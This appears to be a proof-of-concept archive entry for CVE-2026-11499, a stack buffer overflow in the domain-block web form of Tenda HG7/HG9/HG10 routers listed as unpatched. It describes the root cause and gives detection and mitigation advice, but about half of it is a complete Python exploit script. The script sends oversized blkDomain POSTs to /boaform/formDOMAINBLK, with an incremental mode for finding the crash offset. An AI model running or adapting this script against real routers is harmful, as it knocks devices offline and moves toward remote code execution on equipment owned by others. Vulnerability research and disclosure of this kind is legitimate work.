PoC Archive PoC Archive
High CVE-2026-11499 unpatched

Tenda HG7/HG9/HG10 Router Stack-Based Buffer Overflow — CVE-2026-11499

by Ashraf Zaryouh (0xBlackash) · 2026-07-05

Severity
High
CVE
CVE-2026-11499
Category
network
Affected product
Tenda HG7 / HG9 / HG10 routers (firmware family HG7_HG9_HG10re_300001138_en_xpon and similar)
Affected versions
HG7, HG9, HG10 firmware lines prior to vendor patch
Disclosed
2026-07-05
Patch status
unpatched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherAshraf Zaryouh (0xBlackash)
CVE / AdvisoryCVE-2026-11499
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagstenda, router, buffer-overflow, cwe-121, dos, embedded, iot, rce
RelatedN/A

Affected Target

FieldValue
Software / SystemTenda HG7 / HG9 / HG10 routers (firmware family HG7_HG9_HG10re_300001138_en_xpon and similar)
Versions AffectedHG7, HG9, HG10 firmware lines prior to vendor patch
Language / PlatformPython 3 (requests-based HTTP PoC) targeting embedded router web management interface
Authentication RequiredUnknown / unconfirmed in source (PoC does not perform authentication)
Network Access RequiredYes

Summary

CVE-2026-11499 is a stack-based buffer overflow (CWE-121) in the web-management formDOMAINBLK handler of Tenda HG7/HG9/HG10 router firmware. The vulnerable code path copies the attacker-supplied blkDomain form parameter into a fixed-size stack buffer without length validation (functionally equivalent to an unchecked strcpy), so an oversized value corrupts adjacent stack memory. The included PoC sends an HTTP POST to /boaform/formDOMAINBLK with an oversized blkDomain value to trigger the overflow, and supports both a fixed-length send mode and an incremental mode that steps the payload size up to approximate the crash offset. Depending on the corrupted stack contents and the device’s mitigations, exploitation can range from denial of service (device crash/hang) to potential remote code execution.

Vulnerability Details

Root Cause

The formDOMAINBLK handler copies the blkDomain POST parameter into a fixed-size stack buffer (reported as char buffer[256]) using an unbounded copy operation, allowing attacker-controlled input longer than the buffer to overwrite adjacent stack memory including saved registers/return address.

Attack Vector

  1. Identify a reachable Tenda HG7/HG9/HG10 device’s web management interface.
  2. Send an HTTP POST request to /boaform/formDOMAINBLK with a blkDomain field containing a long string of filler bytes (e.g. 300-1000+ A characters).
  3. Optionally use the PoC’s --increment mode to step the payload length upward to approximate the offset at which the device becomes unresponsive.
  4. Observe device crash, connection timeout, or hang as evidence of the overflow; with further offset/gadget analysis this primitive could potentially be extended to control flow hijacking.

Impact

Denial of service against the router’s management interface (crash/hang), with potential for remote code execution if the overflow can be leveraged to control the return address or a function pointer on the stack.

Environment / Lab Setup

Target:   Tenda HG7 / HG9 / HG10 router, firmware HG7_HG9_HG10re_300001138_en_xpon (or similar)
Attacker: Python 3, requests, urllib3 — network access to the router's web management interface

Proof of Concept

PoC Script

See CVE-2026-11499.py in this folder.

1
2

python3 CVE-2026-11499.py -t http://192.168.0.1 -l 400
python3 CVE-2026-11499.py -t http://192.168.0.1 --increment

The script POSTs an oversized blkDomain value to /boaform/formDOMAINBLK. A connection timeout or connection-refused result after the request is treated as evidence the device crashed; --increment mode steps the payload length from 100 to 1000 bytes in increments of 50 to approximate the crash threshold.

Detection & Indicators of Compromise

Signs of compromise:

  • Router web management interface becomes unresponsive or restarts unexpectedly
  • Repeated large POST bodies to /boaform/formDOMAINBLK in network capture or proxy logs
  • Device watchdog/crash logs coinciding with inbound requests to the domain-block feature

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor Tenda security advisories
Interim mitigationDisable remote/WAN management, restrict access to the router’s web interface to trusted LAN hosts, and monitor for crash/restart patterns

References

Notes

Mirrored from https://github.com/0xBlackash/CVE-2026-11499 on 2026-07-05.

CVE-2026-11499.py
python raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

#!/usr/bin/env python3
"""
CVE-2026-11499 - Tenda HG7/HG9/HG10 Stack-based Buffer Overflow PoC
Target: /boaform/formDOMAINBLK via blkDomain parameter
Tested on firmware: HG7_HG9_HG10re_300001138_en_xpon (and similar)
Author: Ashraf Zaryouh "0xBlackash"
"""

import requests
import sys
import time
import argparse
from urllib3.exceptions import InsecureRequestWarning

# Suppress insecure HTTPS warnings (most Tenda routers use HTTP)
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def send_payload(target_url, payload_length=300, timeout=8):
    # Generate payload - 'A' for simple crash, or use cyclic pattern for offset finding
    payload = "A" * payload_length
    
    data = {
        "blkDomain": payload,
        # Common additional fields observed in Tenda form handlers
        "submit-url": "/domainblk.asp",
        "page": "domainblk"
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": f"{target_url}/domainblk.asp"
    }
    
    print(f"[+] Sending payload of length {payload_length} to {target_url}/boaform/formDOMAINBLK")
    
    try:
        response = requests.post(
            f"{target_url}/boaform/formDOMAINBLK",
            data=data,
            headers=headers,
            timeout=timeout,
            verify=False,
            allow_redirects=False
        )
        print(f"[+] HTTP Status: {response.status_code}")
        return True
    except requests.exceptions.Timeout:
        print("[!] Router timed out → Likely crashed (DoS successful)")
        return True
    except requests.exceptions.ConnectionError:
        print("[!] Connection refused / Router down → Crash successful!")
        return True
    except Exception as e:
        print(f"[-] Error: {e}")
        return False


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-11499 PoC")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. http://192.168.0.1)")
    parser.add_argument("-l", "--length", type=int, default=400, help="Payload length (default: 400)")
    parser.add_argument("--increment", action="store_true", help="Incrementally increase payload size to find crash point")
    args = parser.parse_args()

    target = args.target.rstrip("/")
    
    print("="*60)
    print("CVE-2026-11499 Tenda HG7/HG9/HG10 formDOMAINBLK PoC")
    print("="*60)
    print(f"Target: {target}")
    print()

    if args.increment:
        print("[*] Incremental mode - finding approximate crash offset...")
        for length in range(100, 1000, 50):
            print(f"\n--- Testing length: {length} ---")
            send_payload(target, length)
            time.sleep(2)  # Give router time to potentially recover
    else:
        send_payload(target, args.length)

    print("\n[+] PoC finished. Check if the router's web interface is unresponsive.")


if __name__ == "__main__":
    main()